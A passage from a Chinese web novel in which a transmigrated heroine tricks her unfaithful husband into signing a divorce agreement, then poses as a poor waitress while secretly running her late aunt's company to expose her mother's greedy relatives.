杨伟当然也没有想过原主会拒绝他的要求。
这个老婆性格温顺,向来对他言听计从。母亲又是个不可靠的,一定会比以前更加依赖他。
所以,只要哄好了老婆,他的事情就成功了大半。
至于岳母那里,只要等她在娘家碰壁后,他再适时地添油加醋,基本也不会有问题。
结婚多年,杨伟自认为对这家人的性格弱点了如指掌。
他的计划的确不错,剧情里确实让他得逞了。
现在嘛,他想要轻易得逞,哪有那么容易?
云灵来之前,这夫妻俩应该是并排躺在床上的,杨伟大概是觉得这种“夜话”的方式更容易软化原主的心,才选择了这个时机。
然而现在,床上坐着的只有她一个人。
至于另一个……
摔下了床的杨伟艰难地揉着后腰,好不容易才稳住了自己的表情。
内心却忍不住暗骂了几句。
这女人什么时候有了这么大的力气?刚才差点儿把他给掀飞了!
虽然没有真的飞起来,但也不怎么好受。
这样被人硬生生地甩下去,砸到地面,又撞上床脚的感觉,绝对不会美妙。
杨伟怀疑自己后腰那一块儿都有淤青了。
他忍不住想朝云灵发火,但想到自己的目的,又克制了下来,装出一副温柔体贴的模样:“老婆,你怎么了?是刚才睡迷糊做噩梦了吗?不好意思啊,我还以为你没睡,才跟你说话的。”
按照妻子一贯的行为,杨伟猜她会很快跟他赔不是,然后立刻将他扶上床去,为他检查刚才摔下床有没有碰到哪里。
毕竟,从结婚后,原主待他的确是十分温顺的,几乎从不违逆他的决定。
若不是他实在介意“倒插门”一样的家世差距,或许还真对这个妻子多几分满意。
如果说云家倒了,谁最开心,杨伟肯定是要算一个的。
当然,如果那些赔出去的东西能给他,那可就更好了。
还在原处没动的杨伟就等着老婆来伺候了,没想到,却听见床上的云灵冷淡的声音在房间里响了起来:“嗯,我的确是要睡了。有话明天再说,别再把我吵醒了。”
云灵自降临这个世界开始,就没打算像原主一样做个“贤惠”的妻子。
杨伟简直不敢相信自己的耳朵,他瞪着床上的那个背影,一时有些难以接受。
这女人居然敢跟他这么说话?
杨伟看这样子,对方也不准备过来扶他了,只能自己站起身来。
碍于还没到手的好处,他又不敢现在就跟妻子闹翻,只能把气憋在心里。
“我……我公司里有点事情要办,现在回去加班,晚上可能就不回来了。”杨伟一把抓起了床边的衣服套上,“你自己睡吧!”
他尽量克制着脾气,但临到出门,还是忍不住在墙角处狠狠踢了一下。
此处不留爷,自有留爷处。
还是外面的温香软玉更贴心,至少不敢给他气受。
没错,被云灵气到了,却还不得不为了好处俯首做低的杨伟实在是忍不住,所以干脆去了小情人那里找回身为男人的自信心。
他这样做也是有另一个目的的,就是让云灵主动跟他低头服软,打电话找他回去。
云灵自然不会去找他,她才不管那个狗东西究竟是去加班还是去睡情人呢,她怎么可能会在乎?
如果今晚这杨伟敢留在这,那么不好意思,他这辈子肯定是要废了,比那宋金刚还凄惨。
杨伟这一出去,就是好几天没回家。
他本来还等着云灵求和的电话,谁知他不回去,云灵也从不催促。
他一开始还硬气得很,可连续几天没有消息,又着急起来了。
倒不是对老婆还有什么感情,他这种人,看中的当然是利益。
杨伟这是担心自己不在场,那云家的小洋房被别人给套去了。
特别是岳母家那几个什么都想伸手沾一沾的亲戚!
所以,不等人请,他又灰溜溜地夹着尾巴回来了。
刚一到家,杨伟就看到了坐在客厅里的云灵。
她随意翘着二郎腿,一只手端着杯咖啡慢慢喝着,看上去悠闲无比,半点儿没有丈夫不回家的焦虑。
看到他回来,也没有像往常那样主动过来迎接,替他挂衣服拿拖鞋,只是随意看了一眼。
那一刻,杨伟觉得自己就像是个存在感不强的佣人,根本不值得对方多看一眼。
他本来就对云家心存怨恨,如今更是怨恨。
其实,他这种怨恨不是因为云家对他不好,而是因为贫富差距触碰到了他卑微的自尊心。
照云灵来说,杨伟当真这么自尊自强,当初别特意勾搭原主,靠自己努力就行了呗?
人娶到了手,好处也占了,才开始计较。
而且,还是因为自己的不足去怨恨别人的拥有,这不是有病吗!
杨伟却不觉得自己有病,反而还挺有底气的,觉得自己这是有志气。
“有志气”的他现在对云灵的表现很不满意,却还是忍气吞声地坐到了旁边的沙发上,语气中带着几分讨好:“老婆,今天我回来你都没过来迎接我。以前我的衣服和拖鞋都是你替我准备的,你是不是不爱我了?”
原主被养得很天真,对爱情十分向往。
杨伟寻常这样说,肯定会换来妻子的一番表白。
然而,云灵连眼睛都抬一下,不咸不淡地道:“不是有佣人在做吗?我觉得,你也还没到连弯腰换鞋的动作都做不了的年纪吧。”
杨伟被她说得心头一梗,顿时更加心塞了。
正忍不住要发火,却又突然想到了另一个可能——她不会是知道自己在外面有人的事情了吧?
杨伟的心里突然慌了,他之所以有恃无恐,不就是因为他知道妻子爱他爱到不可自拔吗?
可女人的嫉妒心是很难估量的。
万一让妻子知道了他背地里包养情妇还生了儿子的事情……
别说是这栋小洋房了,恐怕以前的那些东西都要让他吐出来。
要是好处已经得到手了,有没有被揭穿,杨伟根本不在乎。
偏偏如今哪怕是云家已经衰败了,也还有他想要的东西,杨伟怎么敢在这个时候跟她撕破脸皮?
“老婆,你说得对,是我太过分了,”杨伟腆着脸说道,“你这是心情不好吗?谁惹你生气了,说出来我替你教训他!”
他也拿不准这个妻子到底知道了没有,所以只能这么试探了。
云灵点了点头:“没错,是有人惹我生气了。教训就算了,有一个小忙需要你帮一帮。”
杨伟松了一口气,脸上的笑容倒是更深了一些,赶紧说道:“什么忙?你尽管说,我保证帮你办得漂漂亮亮!”
如果能趁着帮忙的机会,把这房子弄到手就更好了。
云灵没有说话,直接站起身走到一边,拉开了柜子的抽屉,从里面抽出了一叠文件。
从杨伟的角度,看不清楚那些是什么东西,只能知道那是一小叠A4纸大小的文件,被小卡子别在了一起。
随意翻动之间,隐约可以看到“协议”两个字。
杨伟心头砰砰直跳,难道是房产转让协议书?
他激动到连呼吸都变了节奏。<
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果然啊,这几天不回来,这女人还是急了吧?
瞧瞧,为了讨好他,还不是把房子交出来帮他“创业养家”,就怕他生气?
杨伟刚才的那一丝慌乱一下子消失,得意地坐在位置上,等着云灵把文件交给他。
云灵瞧见了杨伟脸上的神色,面色有一瞬间的古怪。
她的右手几根手指放在了文件上,从茶几上往杨伟的方向一推,又丢下一支笔:“喏,很简单。你只需要在这份协议上签个字就行了。具体的条款我都已经罗列好,不需要你来考虑。”
杨伟激动得看也没看封面,就翻到了最后签字的地方。
那里有两个签名的位置,还有一边空着,就等着他来了。
杨伟更加放心了,看也没看就把名字一写,手印一按,成了!
一式两份,因为他内心笃定,加上表面还有一张空白的纸张做封面,曾勇又担心多耽误一秒事情都会发生变故。
比如说云灵后悔了,比如说岳母突然回来阻拦,比如说岳母家的亲戚突然要跟他抢房子……
总之,杨伟根本就没有翻开细看,连被空白纸张遮住的那一页上写着的是什么“协议”都不清楚,就这样飞快地搞定了签名,好像生怕云灵会突然把东西收回去似的。
“放心,老婆,我会找个靠谱的银行把房子抵押出去,然后买下公司,让你和妈过上好日子的!”杨伟信誓旦旦地说道,“等赚了钱,就能把房子收回来,什么事都不会有。我会保护你们,爱惜你们!”
他所在的公司最近要转让,如果注入大量资金,他就能从一个普通的中层管理,变成实质上的拥有者!
杨伟在这公司上班也有好几年了,熟悉里面的业务和基本运作方式。
只要抓住这个机会,说不定他的未来就大有不同。以后想办法将云家母女俩弄掉,就再也不会被人提起他给云家闺女当小白脸的黑历史了!
他倒是不记得,如果不是云家,他早就灰溜溜地回了山村里。哪怕是留在城中,也只能住在杂乱的小租房里,成天为了一日三餐而奔波,哪有如今在办公室吹空调的好日子?
更别说这房子本来就跟他没有关系,又凭什么用来给他铺路,反过来还要抛弃云家人?
没等杨伟做够美梦,就听到了坐在对面的妻子疑惑的声音:“你在说什么呢?不是都已经签了离婚协议书了吗,我和我妈就不牢你照顾了。倒是你什么时候还买了房,我居然都不知道?”
云灵在杨伟目瞪口呆的表情中,大度地笑了一下:“算了,我也不贪图你的房子,就当做是你离婚后的财产吧。毕竟,咱们也没什么共同财产,家里的东西都不会分给你的。我还担心你以后怎么过呢,有套房子在,哪怕租出去也不至于饿死了。”
说完后,她将那份文件一分为二。一份交给杨伟,一份自己收了起来,看上去自然大方,好像真的为杨伟私下里买了房子感到高兴。
杨伟却如遭雷劈,他忍不住将放在面前的文件翻开。
被覆盖在下一页上的文字,可不是什么房产转移,而是和云灵口中一样的离婚协议书!
那几个大字简直像是石头,塞在杨伟的喉间,让他快要喘不过气来。
他从未像现在这样注意力集中过,不过一会儿的时间就把几页的文件看了一遍。
这一看完,他的脑子里突突地直震,眼前一片昏暗。
真的是离婚!
而且,还提出了他当初结婚时未出分文,婚后也从未负责过家里的日常开销,而且工资根本比不上云家的收益。
给出关键一击的是,他还出轨了,并与情人已经有了一个几岁大的儿子,那个情人肚子里还怀着第二个。
云家的东西他一样也别想带走,能带走的,就只有他的衣服和日用品了——就连这些,都还是云家帮他置办的呢。
世上最惨的就是得到了希望之后突然陷入绝望了。
前一刻还以为得偿所愿骗到了这值钱的小洋房,下一刻就发现自己一无所有。
杨伟深呼吸了一下,到底没能忍住,一下子就倒在了沙发上——居然被活生生地给气晕了!
23. 凤凰男与扶家魔世界
晕厥也就是几秒钟的事情,杨伟坐在那儿好不容易才缓过神来。
但不管他怎么让自己冷静,面前的文件也没有消失的迹象。
就连他的签名都清晰可见,显然这一切并非他的想象。
“我……老婆,我没有对不起你啊,你怎么能这么对我!”杨伟张口就要否认,“而且大姨母才刚出事,你就离婚,别人会怎么说你?妈回来后也不会同意的!”
“我已经不是你老婆了,”云灵毫不动摇,“而且,我家里破产,不愿意拖累了你,别人知道后只会夸我心地善良,还能怎么说?至于我妈,跟你结婚的又不是她,离婚协议书也不需要她签字,同意不同意,那也是我的事情。”
这栋洋房依旧是抵押出去了,只不过,不是给了杨伟,而是从银行贷款,用来付清那笔欠款了。
大姨母的公司却被云灵保留了下来。
那好歹是大姨母的心血,对于这个疼爱原主,一生不曾婚配的大姨母,云灵是十分尊敬的。
保留这个公司对她来说并不难,干脆也就顺手办好了。
云母和原主那是从来不接触这类的事物,加上被公司里其他股东一逼迫,就直接拿大姨母留下的产业低了债。
现在,大姨母的公司已经在她手中,还悄悄立了一个挡箭牌,让人不知道背后的大Boss其实是她。
房子的确是抵押了出去,但只要她愿意,随时都能拿回来。
只是云灵还有另外的打算,并不准备现在就把一切掰正。
杨伟却被这当头的离婚协议书打击到失语。
他有想过自己出人头地后,甩开云家人。
要么直接一份离婚协议书将云灵变作下堂妇,要么想办法弄点儿什么慢性毒药,造成这母女俩因为家中破产刺激过大而自杀的假象。
但他没有想到,率先被甩的人居然会是自己!
而且,提出了离婚的还不是那个岳母,而是一向对他言听计从的老婆。
“家里的公司和房子都已经拿去还债了,还欠下了一笔利息,”云灵看向杨伟,“你不想离婚,是打算留下来和我一起艰苦奋斗,享受一把白手起家的乐趣吗?”
“什么?!”杨伟几乎要从位置上跳起来,“怎么会这样?”
同样喊出声的,还有刚刚走进家门的云母。
她这些天都在娘家找那几兄弟把之前的那笔钱还回来。
然而,别说是钱了,就连人都没见到!
以前还对她热情亲密的兄弟,现在门都不愿意为她开,就连她的老母亲都对她意见颇深,认为她实在太没良心,大女儿留给外甥女的产业不仅不奉送回来,居然还逼迫自家兄弟还钱。
云母满脸愤怒的回了家,没想到刚一进门就听到了这么一个噩耗,差点儿没能站稳身体。
“怎么会需要这么多钱,那些人是欺诈吗?”杨伟急切地问道。
能不急吗?他就等着云家完了之后,将这栋价值不低的小洋房收为己有呢。
现在发现好处到了别人手里,怎么忍得住。
云母也顾不得换鞋了,几步走了过来,同样看向了云灵。
云灵十分自然地说道:“本来那笔钱就不少,妈你把钱给了舅舅他们,耽搁了人家的生产链,直接导致了后面的一系列损失。加上大姨母出了事,公司里名声受损,股价下跌,还有之前的公司借贷推广……算下来钱可不少。现在我们都还有一部分没有还清,恐怕得打好几年的工才够。”
杨伟倒是没那么傻,但他又不了解云家生意上的情况,甚至还不如母女俩知道得多,哪明白具体要还多少债?
果然,云母完全没有怀疑,一下子就跌坐在了沙发上,脸色都惨白了。
她知道自己做错了,不该不经大姐允许就把钱私自拿给了娘家。
但到底有多严重,云母是没多少感触的。
就连大姐去世,云母伤心是伤心,但也认为大姐实在较真,为什么非要与自家断绝关系?与母亲和兄弟们斗气?
直到现在,发现自己从衣食无忧,变成了没有存款、没有房子、没有大姐依靠的云母,这才终于感到害怕了。
“我和妈都没有什么工作的经验,只能打零工了,”云灵看向了那份属于杨伟的协议书,犹豫了一下伸出手去,“要不,还是撕毁了吧!现在我们也就只能靠你了。”
杨伟刷的一下就把协议书抢了过来,连忙道:“都已经签好字了,还怎么改呢?老婆……,我很爱你,但是我还有一个老母亲和几个兄弟姐妹要照顾。对不起,我对不起你,我真的……以后有什么需要帮忙的,联系我好吗?”
见他要离开,云灵才开口道:“车钥匙别忘了留下,那辆车的车主名字还是我呢,也是要用来还债的。还有你的东西,需要我给你寄到新的住处去吗?”
杨伟脚步一顿,很不情愿地掏出了车钥匙。
比起这些,他更不想的是留在云家还债。
谁知道那笔外债数额有多大?他现在好歹也是个公司的中层管理,说不定奋斗十几年还能混个高层,离开了云家虽说没有以前那么潇洒,但至少不用担心吃不上饭。
凭什么要叫他一起还债?
他像是被鬼追似的,上楼飞快地收拾了自己的衣服,头也不回地离开了云家,跑去找他怀孕的情人了。
大概是云灵说出来的消息太过震撼,杨伟甚至忘记了追究她怎么会知道他出轨的消息,甚至还写到了离婚协议书里面。
他只庆幸,还好,云灵一定是太喜欢他了,所以连协议书里都没提起让他分担债务。
要知道,夫妻双方需要分割的不只有财产,还有外债!
杨伟落荒而逃以后,云灵叹了口气看向云母:“妈,我们也收拾一下东西吧,该搬出这栋不属于我们的房子了。”
从住习惯了的大房子里搬出来,这样的生活,云母之前是想也不敢想的。
但是现在,她提着几个包裹,拖着行李箱,没有司机接送,没有保姆前后服侍,走在大街上,感觉整张脸都快要涨红了。
哪怕是周围并没有人注意她,云母也觉得臊得慌,总感觉所有人都在注视着她的一举一动。
和她相反,云灵表现得格外自然。
她甚至没有多带什么东西,只简单地拿了一些衣物和必须用到的生活用品。
至于珠宝奢侈品之类的东西,以要用来抵债为由,全都留在了洋房中。
云母艰难地挪动了一下脚步,对着云灵说道:“小灵啊,我们这是……这是要搬去哪儿住啊?还要走多远?”
她站在原地活动了一下穿着高跟鞋的脚,真恨不得能一屁股坐到地上。
云灵擦了擦额头上的汗:“妈,我找中介看了一套房子,租金还算便宜,就是离市区远了些。恐怕还得一个多小时才能到,要不您先在公园那边的椅子上坐着歇歇,我们再继续?”
云母一听还有一个多小时,顿时觉得眼前一片发黑。
哪怕是大姐去世,兄弟们翻脸不认人,她都没有像现在这样绝望过。
毕竟那时候她还住着豪宅,进出有车接送,不愁吃喝,连护肤品都是用的高档货。
和从前的生活几乎没什么差别。
但现在背负了巨债,不得不和以前的生活说拜拜,她才终于体会到了不易。
云母咽了咽口水,只觉得嗓子里干得发疼:“那个,小灵,要不我们叫一辆出租车吧?这么走下去,人都要废了。我……你还年轻,总这么晒着皮肤也不好。”
云灵忧伤地看了一眼云母,叹了一口气:“妈,你一定是累了吧。算了,出租车太贵,我还是带你去挤公交车吧。大不了明天的早饭吃得简单些,就能把这几块钱省出来了。”
被她这么一说,云母本来还不太乐意坐公交,却突然觉得自己像是在无理取闹。
也是,家里现在屁钱没有,母女俩还没什么赚钱的本事,又有一大笔债要还,连房子车子都没了,她还有什么资格嫌弃?
这笔债务都是因为她才来的啊。
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云母想说算了,可脚上又实在使不上力,还是将话咽了回去。
就这么一回,大不了以后节俭一些。
云灵也的确是带着云母这样大包小包地挤上了公交车。
这可不比有空调的出租车,公交车上人挤着人,各种味道都混杂在一起,在这样的天气里简直是一种煎熬。
哪怕已经是肉贴肉的状态了,每到一个站台,司机还会在前面扯着嗓子吼:“往后站!往后站!前面上车的人没有位置站了!”
云母脚上被踩了好几次,还得被人嫌弃她带的包裹太多,下车后简直跟解脱了似的松了一口气。
但看到她们要住的地方后,她又觉得自己放松得太早了些。
“我……我们以后,就住在这么个鬼……这么个地方?”
这房子只有简单的两室一厅,厕所和厨房小到两个人在里面都很难转身。
地上是平整的水泥地,连瓷砖都没有。天花板上甚至还有漏水后留下的痕迹,墙上的漆面都翘起来了一些。
家具更是一副很久没人清理过的样子,桌子的一脚甚至有些歪,还需要用东西垫一垫才能用。
客厅的那台电视,都不知道是多少年前的产物了,甚至还带着天线。
别提其他现代化家电,根本连影子都没有。
这么热的天气,除了角落里一台带着些锈迹的大风扇,根本就没有安装过空调的样子。
其实这条件,对于大部份人来说并不算什么。
可是,对于住惯了大房间,连浴室都比这小小的客厅宽敞的云母来说,这里简直就是匪夷所思的存在。
云灵又是一叹,抱歉地看向了云母:“是啊,妈。对不起,我只能找到这样便宜的房子了。我……我没本事赚大钱让你像以前那样,都是我不好。如果,如果大姨母还在就好了……”
说着,她低落地垂下了头,像是非常伤心的样子。
云母顿时又说不出话来了,到了嘴边的那些挑剔也被她强行按压下去,心里还多了些心虚的感觉。
如果不是她把钱拿给了娘家兄弟,又和大姐吵架害得她病发,女儿也不会没了大姨母。
比起年轻时还吃过几年苦头的自己,这个女儿是从小安安乐乐长大的,比她还不能面临这样的境况呢。
但她还是强撑着处理债务,又找了住的地方。
甚至,连女婿都跟她离了婚。
云母那少得可怜的怜爱之心被激发了出来,放柔了语气说道:“没事,住就住吧!你妈我年轻的时候,家里条件也不好。还不是跟着你大姨母还有舅舅他们……”
提到那几个兄弟,丁母心里还有气,但又因为长久的偏心养成了习惯,一发气就干脆撒到了别人身上,转移了话题道:“不过杨伟也是个没良心的白眼狼!以前我们家对他那么好,现在一出事就跑得人影都不见了!呸!”
云灵才不在意她究竟骂谁呢,反正只要不骂她就行了。
她见云母暂时接受了这个地方,这才将东西放下了,借口要出去买菜准备晚饭,便溜出了门。
刚一下楼拐过弯,就有一辆汽车停在那里。
见她的身影出现,司机连忙下车拉开了车门:“老板,今天的视频会议在十分钟后开始,城西的姚总和建林的王总都有意向合作。还有,您吩咐的其它事情我都办理妥当了。这里的房子还算符合您的要求吗?如果不行,我再找人……”
云灵坐在后座上,淡笑了一下:“不用了,我很满意,就这里吧!车子开远一些,待会儿进行会议时,我不希望有人打扰。”
留在家里的云母好不容易将自己的东西放到了剩下的那个房间里,拿着帕子面对这陈旧的房间,左看角落里的蛛网,又看地上的灰尘,愁眉苦脸地不知道从哪里开始。
由俭入奢易,由奢入俭难。
享受了这么些年的悠闲生活,现在让她从头再来,可不是难为她吗?
云母再一次后悔了自己的做法,对几个娘家兄弟的怒气更深了些。
24. 凤凰男与扶家魔世界
让一个一无所有的人一夜暴富,尽情地享受鲜花美酒,并不难。
但让一个原本已经拥有了这一切的人突然沦落到连吃饭都需要掰着手指头算那几毛钱,就很凄惨了。
云母现在就是这么一个处境。
从前一日三餐自有厨师和保姆操心,甚至还有专门的营养师设计菜单。
她只要管符不符合口味,能不能保持身材。
现在,才刚刚搬出来几天,丁母就已经瘦了好几斤,比以前特意减肥的效果还要好。
这时候她才知道,原来长肉都是一种福气。
云母想要抱怨,可女儿比她吃得还少,甚至把自己的那一份省出来让她吃得好一些。
云母虽说行为有些偏差,但也不是那种黑心肝的狠人,对亲生闺女还是有几分关心的。
这种情况,娇生惯养着长大的女儿都没抱怨,她哪还有脸面说自己受不了?
云母只庆幸自己之前带出来的那些大包小包的衣服基本都是牌子货。
趁着云灵不在家,她戴上纱巾,半遮住脸颊,就带着几套名牌衣服出去了。
只试穿过一次就不太喜欢,连吊牌都没拆的,很好办,厚着脸皮去店里退了款;没有吊牌的,自然只能去二手市场。
云母这些年养尊处优,已经很久没有过这种豁出去的情况了。
可实在想念大鱼大肉的日子,就算觉得丢脸,她也只能硬着头皮上。
背着一大包东西出去,换回来的就是她急需的现金。
当天晚上,云家的饭桌上终于有了新鲜的菜式。
虽说云母的厨艺不咋样,只能说勉勉强强把饭菜给煮熟了,可比起前几天的清汤寡水,这顿饭母女俩吃得都很认真,连一点儿剩菜都没留下。
云灵吃进嘴里的尽是神祇宝典用果物幻化的,所以云母的具体厨艺怎样,她根本就不知道,她不过是在装模作样的认真罢了。
在家憋了几天,现在手里有了钱,云母就闲不住了。
第二天就去商场买了不少东西,日常用到的贵妇级保养品、沙发垫子、看剧用的平板、床上四件套……
原本有些穷酸的二居室,让她一阵捣鼓,终于大变样了。
如果不是条件不允许,云母恨不得直接重新装修一遍。
当然了,她更想要的是另外换一套住房。
只是去中介处咨询了一遍当地的房价后,云母乖乖地打消了这个念头。
她手里的确有了些钱,可要租一套像样的房子,花费并不小。
她们俩现在坐吃山空,别到时候连饭都吃不起了。
云母实在是被前些天那见不到一点儿油水的饭菜给闹够了,一想到这儿,就安安分分地选择继续住在这小出租屋里。
但说实话,按照云母这个花钱的架势,那些用衣服换来的钱,也撑不了多少时间。
她做了些什么事情,云灵当然都知道。
甚至连那些衣服,都是她托人买下来的。
没有抬价,也没有特意压价,别人的交易价格是多少,就给了云母多少。
她是用于吃饭,还是买奢侈品,云灵也不干涉。
等到云母渐渐适应了这种生活之后,云灵才终于回家报告了一个好消息——她找到工作了!
“服务员?”云母连连摇头,“这怎么行?端盘子洗碗的事儿,不适合你。咱们就不能另外找一个坐办公室的工作吗?小灵啊,当服务员多累,还得看人脸色,还是别去了。”
如果不是顾及女儿的面子,云母可能会直接露出嫌弃的眼神了。
当然,现在她的表情也没好到哪儿去。
云灵心里嗤笑,果然还是日子不够苦啊。
她如今装苦大仇深也很熟练了,直叹道:“妈,我毕业后没有工作经验,这都好几年的时间,外面的招聘市场全都变了。去应聘文员只能从底层做起,可能要坐好几年的冷板凳,工资也很低。还不如当服务员,至少有额外的提成,除去生活费还能省出一些还债。”
听到这里,云母又有些心虚了。
她拿到钱后,压根儿就没想过还债的事情,全都用来享受生活了。
现在手里的钱就只剩下一点儿,别说是还债,连这个月都撑不过去。
现实才是衡量一切的标准。
哪怕云母再不喜欢,也只能点头同意了。
一开始还心有排斥,甚至在云灵带着一些餐厅的饭菜回来时,云母还犹豫着要不要下筷子。
但半个月不到,她已经非常适应女儿的新工作了,每天最期待的就是饭店里有多余的饭菜让云灵带回来。至少那里的食物比她自己做的要美味多了,还不用她们花费多余的菜钱。
云灵也就安安心心地当起了她的“服务员”,每天早出晚归,并不太过干预云母的行动,随她在家看剧还是外出跳舞,都任凭其喜好。
这样的日子过了约摸俩月左右,云母才一脸焦急地找到了云灵所说的那个饭店。
云灵听到有人说她来了,换好衣服就走了出去。
刚一出饭店的大门,就看到站在门口不断踱步的云母。
一瞧见女儿,云母几步跑了过来,犹豫了一下才说道:“小灵,你这里有没有多余的钱?”
云灵看了一眼丁母的神情,加上收到的消息,几乎是一个照面,就猜出了个七七八八。
她为难地道:“妈,我每个月的钱除了还债,都交给你做生活费了啊。说起来,我都好久没买衣服了。每次同事聚餐我都不敢应,就是没有多余的钱。妈,你这是怎么了?今天的饭钱不够了吗?要不我跟老板说一声,你中午在这儿吃吧。就一顿饭,应该没事的。”
她说的这些,云母也知道。
只是,走投无路之下,还是想来碰碰运气而已。
听到她要留自己在这里吃饭,云母连忙摇头:“不用了不用了,我……我钱还够用。你去上班吧,我先回去了。”
她看了一眼女儿身上穿的服务员制服,衣角甚至还有一些油污,连带着身上都沾上了饭菜的味道,顿觉心酸。
云母都不忍心多看,就急急忙忙地跑回去了。
云灵站在原地微微一笑,转身回了饭店。
进去后就换回了自己的衣服,重新到了二楼的会议室:“刚才说到连锁店改革,首先卫生问题……”
楼下的饭店经理一头雾水。
大老板这是什么爱好?喜欢扮演服务员吗?
云灵的助理一脸高深莫测:“多的不用问,配合老板行动就对了。”
饭店经理点了点头。
这,大概就是她们这些打工的和真正的有钱人之间的距离。
一定是忆苦思甜,以此激励自己更加努力工作吧?
“刘经理!”云灵开完会出来,便单独叫来了这位饭店经理。
对方态度非常恭敬,一见到云灵就连忙称是:“云总,您叫我有什么吩咐吗?”
云灵先是把刚才会议商量出的结果通知下去,等到要离开时,才突然说道:“以后,不管是谁来饭店里打听我的名字,你该怎么说知道吗?”
刘经理瞬间就想起了老板助手之前的提醒——一切配合老板行动。
再想到云灵刚才的行为,刘经理连忙道:“知道,知道,就说您是咱们这儿的服务员!”
“嗯,”云灵意外地看了他一眼,本以为还要多提醒几句,没想到这人这么机灵,“就按照这个说法来,工资按照最低的标准说。反正,有多惨说多惨,最好是让人产生一种朝不保夕的感觉。”
刘经理一听,连忙将要到嘴边的“优秀员工”之类的话吞了回去。
原来云总是想要卖惨啊!刘经理一口就答应了下来。
云灵细细地吩咐了几句,这才从后面的员工通道离开了饭店,不慌不忙地朝着家里走去。
她才刚走没一会儿,饭店门口就出现了几个相携而来的人,在门边探头看了几眼,才犹豫着走了进来。
刚把云灵送走,刘经理就看到了这几人。
云灵的话一瞬间从大脑里闪过,她叫停了那几个要上前询问的员工,装作不经意地暴露自己饭店经理的身份,从那几人面前经过。
果然,下一刻她就被人叫住了。
“那个……经理?”
刘经理听到声音,随意地朝这边看了一眼,挤出一个职业化的微笑:“你好,请问你们这是?如果需要订位,前台有招待。”
叫住她的妇人
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连忙摇头:“不是不是,我们是想跟您打听一个人。”
这么快就要考验她的演技了啊!
刘经理心里跃跃欲试,面上还一本正经地问道:“谁?”
“云灵!”
最先说话的那个女人旁边的一位插嘴道。
“那是谁?”刘经理皱着眉想了一下,一脸疑惑地问道。
那女人连忙补充了几句:“她在你们这儿当服务员呢,长得很漂亮,就二十来岁的那个。”
听到这里,刘经理才如同恍然大悟一般“哦”了一声:“是小灵啊!”
她对着几人道:“你们是她的亲戚?这小灵不太适合当服务员,都打碎我们好几个盘子了。如果不是她为了还债预支了几个月的薪水,我都想把人给开除了。这不,刚才说家里有事找,又急匆匆地请假回去。听说她母亲刚才来过?怎么现在你们这些亲戚又来了。我们这是开门做生意的地方,可不是拿来给人认亲的。”
说着,她叹了口气:“唉,当初就不该看她可怜把人聘用了。要么,你们把债帮她还了怎么样?好歹是一家人,应该没问题吧?”
一见到这几人的面相,刘经理就觉得自己看透了事实。
谁家没几个打秋风的亲戚啊!
云总之前的吩咐肯定就是因为这几个人了。
一听到要帮忙还债,几人面色一变,赶紧道:“我们不是她亲戚,也是……也是有债要讨才会过来,她现在不在?那我们就不打扰了!”
说着,一群人不等刘经理开口,便头也不回地夺门而出了。
刘经理瞧着他们人影一眨眼就跑没了,得意地一挑眉,对着旁边一头雾水的员工问道:“你看我演得像不像?”
那员工还没弄明白是怎么回事呢:“经理,我们这儿有这么个员工吗?”
还有,刘经理什么时候答应过预支几个月薪水让人还债了?真要有给店里带来这么多麻烦的员工,早就被开了吧?
刘经理语重心长地拍了拍他的肩膀:“谁说没有?反正从今天起就是有了。你们都去对对台词,记住云灵就是你们的同事,按照我刚才说的圆,反正怎么惨怎么来,可别说漏嘴了啊!”
说完后,她就哼着小曲儿去休息室了。
看来,咱宝刀未老,演技还是不错的嘛!想当年在进入职场前,她也是有过逐梦演艺圈的青葱岁月的哟~
底层员工当然不知道大老板的名字。
于是,有了刘经理的吩咐,没一会儿大家口中就出现了一个为了养活孤苦母亲,忍着病痛拿着最低工资,背负着巨额债务也要早出晚归打几份工赚钱的少女形象。
饭店外不远处,有几个人正凑在一起,正是刚才进去打听云灵的人。
“我说那丫头没什么骗人的本事,你们偏不信,非得过来问问,看吧?还不就是这样?浪费我的车钱。”年纪最大的那个没好气地抱怨着。
另一个说道:“妈,我这不是拿不准吗?谁知道,她家真的到了这个地步。我还以为大姐怎么说也得给云灵留一条后路呢!没想到居然是真的在当服务员,还要预支薪水还债。
就服务员那点儿工资能做什么?看来她家这债务,短时间内是还不完了。
几人商量着,赶紧去另一边和其他人会合。
他们倒不像云灵那样坐公交车,而是直接找了一辆出租车就离开了这里。
云灵到家的时候,家里的门是敞开着的。
还没进门,她就听到里面传来的说话声。
云灵动作不停,直接跨过门槛走了进去。
小小的客厅平时有她们母女俩都觉得勉强容身,这会儿多出了好几个人,瞬间就显得更加狭窄了,几乎拥挤得让人喘不过气来,难怪把门开着呢。
挤在小沙发上的是两个中年男人和一个上了年纪的老妇人。
旁边的小凳子上还坐着两个中年妇女。
云母站在一边,正和他们说着些什么,看上去虽然有几分憔悴,但眼里显然是带着几分喜色的,对这几人的到来感到十足的惊喜。
听见门口的动静,一群人都朝门口看来。
发现是闺女回来了,云母连忙道:“小灵,快过来,你姥姥和舅舅舅妈过来看我们了!”
25. 凤凰男与扶家魔世界
云灵点头,直接走过去打了招呼。
那几人见到云灵有一瞬间的心虚,但很快也挤出了笑容,亲亲热热地招呼了起来。
“妈,你怎么不早打电话说姥姥他们要来,我也好从饭店里带些吃的,”云灵对着云母说道,“家里的菜都不够,怎么好招待他们呢?”
云母也有些讪讪。
她见到娘家人一来,就高兴地忘了这些,还以为是以前那样,直接交给家里的保姆收拾就好,她只负责坐在一边聊天享受。
云母娘家姓云,原主由于不知父亲是谁,因此是跟着母亲姓的,而她自小,则是大姨母疼爱长大的。
云家几人一听云灵的话,还以为她是要带饭店里客人吃剩的东西回来招待他们。
有刘经理说的话在先,他们心里这母女俩当然是要多窘迫有多窘迫,能做出这种事也不意外。
于是,几人都差点儿忍不住露出了鄙夷嫌弃的眼神。
云家大舅舅干笑着说道:“好不容易来一趟,哪能让你个小姑娘操心这些呢?舅舅也知道你们家现在不容易,放心,这顿饭我请!”
大舅母连忙插嘴:“我看你们家外面那条街就有几家不错的饭店,咱们中午就去那儿吃吧!”
这附近可以算得上是本地的一个贫民区了,饭店自然十分简陋。相应的,价格也不会高到哪儿去。恐怕一顿饭还不如大饭店的一道菜贵。
大舅母来不及让老公收回请客的话,加上的确还有所图,所以只能从价格上想办法控制了。
云母张口想要劝说他们别浪费钱,但想到自家的确没有丰裕的东西招待,只能把话吞了回去。
云灵眯眼看了他们一瞬间,便笑答:“好啊,谢谢大舅舅,我都很久没吃上一顿像样的饭菜了,多亏了您。”
